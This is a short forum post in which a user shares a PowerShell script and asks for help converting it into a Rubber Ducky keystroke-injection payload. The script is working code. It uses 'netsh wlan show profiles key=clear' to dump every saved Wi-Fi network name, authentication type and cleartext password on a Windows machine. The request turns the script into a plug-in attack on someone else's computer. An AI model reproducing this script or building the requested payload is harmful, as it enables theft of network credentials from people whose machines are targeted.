manni Posted July 27, 2020 Share Posted July 27, 2020 Hi I have a Powershell Code $error.Clear() $Output = netsh wlan show profiles $WLANCreds = $Output | Select-String -Pattern "Profil f.r alle Benutzer :", "All User Profile" | ForEach-Object { $out = ($_ -split ":")[-1].Trim() -replace '"' $profile = netsh wlan show profiles name=$out key=clear $pw = $profile | select-string -Pattern "Authentifizierung","Authentication" if ($pw) { $pw2 = ($pw -split ":")[-1].Trim() -replace '"' if ($pw2 -eq "Open") { Write-Output "$out, <open>" } else { $key = $profile | select-string -Pattern "Schl.sselinhalt" ,"Key Content" if ($key) { $key = ($key -split ":")[-1].Trim() -replace '"' } $row = New-Object -TypeName psobject $row | Add-Member -MemberType NoteProperty -Name SSID -Value $out $row | Add-Member -MemberType NoteProperty -Name Auth -Value $pw2 $row | Add-Member -MemberType NoteProperty -Name Pass -Value $key $row } } } | Sort-Object -Property SSID if ($error) { foreach ($err in $error) {Write-host " ERROR: $($err.Exception.Message)"} } $WLANCreds | Format-Table -AutoSize | Out-String Can help me for create a Rubber Ducky code? thanks Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.